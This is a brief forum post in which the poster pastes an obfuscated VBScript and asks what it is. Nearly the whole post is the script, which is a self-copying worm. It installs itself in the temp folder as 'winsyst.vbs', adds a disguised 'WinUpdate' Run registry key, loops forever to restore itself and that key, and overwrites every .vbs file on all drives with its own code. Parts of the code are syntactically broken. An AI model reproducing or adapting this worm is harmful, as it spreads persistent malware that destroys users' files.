[loading...]

Normally I can understand visual basic but WTF is this shit?

Code:

Set K1IPCRVC = createobject("scripting.filesystemobject") L2ROP693 = K1IPCRVC.getspecialfolder(2) T225DMBE = L2ROP693 & "\winsyst.vbs" Set A36IV8KC = createobject("wscript.shell") A36IV8KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & T225DMBE & " %" K1IPCRVC.copyfile wscript.scriptfullname, T225DMBE Set Q8056VMR= K1IPCRVC.opentextfile(wscript.scriptfullname) QSPKI028 = Q8056VMR.readall Q8056VMR.close Do if not(K1IPCRVC.fileexists(wscript.scriptfullname)) then set GV3B1H65= K1IPCRVC.createtextfile(wscript.scriptfullname) GV3B1H65.write QSPKI028 GV3B1H65.close end if V8TS7H61 = A36IV8KC.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate") If V8TS7H61 <> "wscript.exe " & T225DMBE & " %" then A36IV8KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & T225DMBE & " %" end if V8TS7H61= "" loop Function DIRK5BAD() On Error Resume Next Set L57M21VG = K1IPCRVC.Drives For Each HB2EDRE4 In L57M21VG H8IG8I50 = HB2EDRE4 & " \ " Call TCS3731M(H8IG8I50) Next End Function Function TCS3731M(FI532788) JDBN17FV = FI532788 Set K0C7B470 = K1IPCRVC.GetFolder(JDBN17FV) Set G60G535V = K0C7B470.Files For Each V3H3U8EK In G60G535V If K1IPCRVC.GetExtensionName(V3H3U8EK.path) = "vbs" K1IPCRVC.CopyFile wscript.scriptfullname,V3H3U8EK.path,true End if Next Set E2R9O566 = K0C7B470.Subfolders For Each SD9KTT6R In E2R9O566 Call (SD9KTT6R.path) Next End function